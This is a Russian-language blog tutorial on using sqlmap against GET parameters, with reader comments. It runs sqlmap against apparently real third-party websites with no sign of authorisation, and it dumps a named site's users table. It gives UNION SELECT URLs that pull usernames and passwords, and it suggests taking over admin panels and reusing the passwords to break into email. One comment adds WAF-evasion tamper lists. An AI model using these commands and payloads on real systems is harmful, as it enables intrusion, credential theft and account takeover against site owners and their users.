Инструкция по использованию sqlmap. Ч.1: Основы работы (GET)


Что такое sqlmap, для чего она нужна

Программа sqlmap позволяет проверять сайты на наличие в них уязвимости SQL-инъекция, уязвимости XSS, а также эксплуатировать SQL-инъекцию. Поддерживаются разнообразные типы SQL-инъекций и разнообразные базы данных.

Что можно делать с помощью sqlmap

С помощью sqlmap можно:

  • проверять, имеется ли в сайтах уязвимость

Если сайт уязвим к SQL-инъекции, то возможно:

  • получать информацию из базы данных, в том числе дамп (всю) базу данных
  • изменять и удалять информацию из базы данных
  • заливать шелл (бэкдор) на веб-сервер

Один из сценариев использования sqlmap:

  • Получение имени пользователя и пароля из базы данных
  • Поиск панелей администрирования сайта (админок)
  • Вход в админку с полученным логином и паролем

При наличии уязвимости атака может развиваться по различным направлениям:

  • Модификация данных
  • Заливка бэкдора
  • Внедрение JavaScript кода для получения данных пользователей
  • Внедрение кода для подцепления на BeEF

Как мы можем убедиться, SQL-инъекция – очень опасная уязвимость, которая даёт злоумышленнику большие возможности.

Проверка сайтов с помощью sqlmap

Если сайт получает данные от пользователя методом GET (когда и имя переменной и передаваемые данные видны в адресной строке браузера), то нужно выбрать адрес страницы, в которой присутствует эта переменная. Она идёт после вопросительного знака (?), например:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

В первом адресе, имя переменной – id, а передаваемое значение – 8. Во втором адресе имя переменной также id, а передаваемое значение 22. В третьем примере имя переменной такое же, но передаваемое значение p_36. Одинаковое имя переменной – это случайное совпадение для разных сайтов, оно может быть любым, могут быть любыми передаваемые данные, может присутствовать несколько переменных со значениями, разделённые символом &.

Если мы хотим проверить, уязвима ли переменная id к SQL-инъекции, то нам нужно вводить адрес полностью - http://www.dwib.org/faq2.php?id=8 (а не http://www.dwib.org/faq2.php или http://www.dwib.org).

Команда для проверки переменной, передаваемой методом GET, очень проста:

sqlmap -u адрес_сайта

Для данных сайтов команды будут:

sqlmap -u http://www.dwib.org/faq2.php?id=8
sqlmap -u http://www.wellerpools.com/news-read.php?id=22
sqlmap -u http://newsandviews24.com/read.php?id=p_36

В процессе проверки sqlmap может задавать различные вопросы и на них нужно отвечать y (т.е. Да) или n (т.е. Нет). Буква y и n могут быть заглавными или маленькими. Заглавная буква означает выбор по умолчанию, если вы с ним согласны, то просто нажмите Enter.

Примеры ситуаций и вопросов:

 [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]

Эвристика определила, что цель защищена каким-то WAF/IPS/IDS. Вы хотите, чтобы sqlmap попыталась определить наименование WAF/IPS/IDS?

Мой любимый запрос:

heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

Суть в том, что эвристика определила, что параметр может быть уязвим и уже определена удалённая СУБД, нас спрашивают, хотим ли мы продолжить проверку. А на втором скриншоте сайте ещё и уязвим к XSS.

Если вы хотите автоматизировать процесс, чтобы sqlmap не спрашивала вас каждый раз, а использовала выбор по умолчанию (там всегда лучшие варианты), то можно запустить команду с опцией --batch:


sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Возможные проблемы при сканировании sqlmap

Могут появиться следующей ошибки:

connection timed out to the target URL. sqlmap is going to retry the request(s)
if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch '--random-agent' turned on and/or proxy switches ('--ignore-proxy', '--proxy',...)


Она означает, что веб-сайт не хочет «разговаривать» с sqlmap. В качестве варианта нам предлагают использовать --random-agent. Если в браузере вы можете наблюдать сайт, а sqlmap пишет о невозможности подключиться, значит сайт игнорирует запросы, ориентируясь на пользовательский агент. Опция --random-agent меняет стандартное значение sqlmap на произвольные:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Ещё одной причиной такой ошибки может быть блокировка вашего IP веб-сайтом - тогда нужно использовать прокси. Если вы уже используете прокси и появляется эта ошибка, то это может означать, что у прокси проблемы со связью и стоит попробовать без него.

Результаты сканирования sqlmap

Найденные SQL-инъекции отображаются следующим образом:

Т.е. выделяются жирно-салатовым цветом, пишется имя уязвимого параметра, вид SQL-уязвимости и имеется слово injectable.

Получение списка баз данных с sqlmap

Для получения списка баз данных используется опция --dbs. Примеры:

sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs
sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs
sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Получение информации из баз данных

Например, для сайта wellerpools.com обнаружено две базы данных:

[*] information_schema
[*] main_wellerpools

Я хочу узнать список таблиц в базе данных main_wellerpools. Для этого используется опция --tables. Кроме неё, нам нужно указать интересующую нас таблицу после опции -D:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Список таблиц:


По какой-то причине, мне хочется узнать список колонок из таблицы users. Для этого используется опция --columns. Кроме неё, нам нужно указать интересующую нас базу данных (-D main_wellerpools) и после ключа -T таблицу, для которой мы хотим увидеть список колонок:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Для вывода содержимого используется опция --dump. Её можно указать вместе с базой данных, и тогда будет сделан дамп всей базы данных, а можно ограничить данные одной таблицей или даже одной колонкой. Следующей командой я хочу увидеть содержимое всей таблицы users:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Взгляните на пароли – я при беглом осмотре подумал, что это хеши. Админы правда старались защититься, но это им не помогло.

Кстати, поскольку уязвим параметр, принимающий данные, отправленные методом GET, то можно сформировать запрос прямо в строке браузера таким образом, что логин и пароль пользователя будут выведены прямо на самом сайте:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9,10+from+users--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7,8,9,10+from+users--

Т.е. у нас имя пользователя, пароль и почта пользователей (а скорее всего даже администраторов) сайта. Если удастся найти административную панель сайта, то можно получить управление над сайтом или веб-сервером. Учитывая любовь пользователей к одинаковым паролям и зная их почтовые ящики – можно попробовать взломать почту.

В общем, SQL-инъекция – это очень опасная уязвимость.

Продолжение:


Рекомендуется Вам:

8 комментариев to Инструкция по использованию sqlmap. Ч.1: Основы работы (GET)

  1. artem:

    спасибо что так подробно пишите 

  2. Becas12:

    Хотел дополнить параметр Tamper

    General Tamper testing: --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

    MSSQL: --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

    MySQL: --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

    • Alexey:

      Спасибо! Если честно, не знал про tamper скрипты.

  3. B:

    А sqlmap может автоматически эксплуатировать взаимности?Или это надо делать руками

    • Alexey:

      Получение информации о базах данных, таблицах, а также информации из баз данных — это уже и есть эксплуатация уязвимости. Всё это sqlmap умеет. То есть да, может.

  4. Сергей:

    Это уязвимость используется только когда метод Get?

  5. Пётр:

    Спасибо, очень годная статья

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *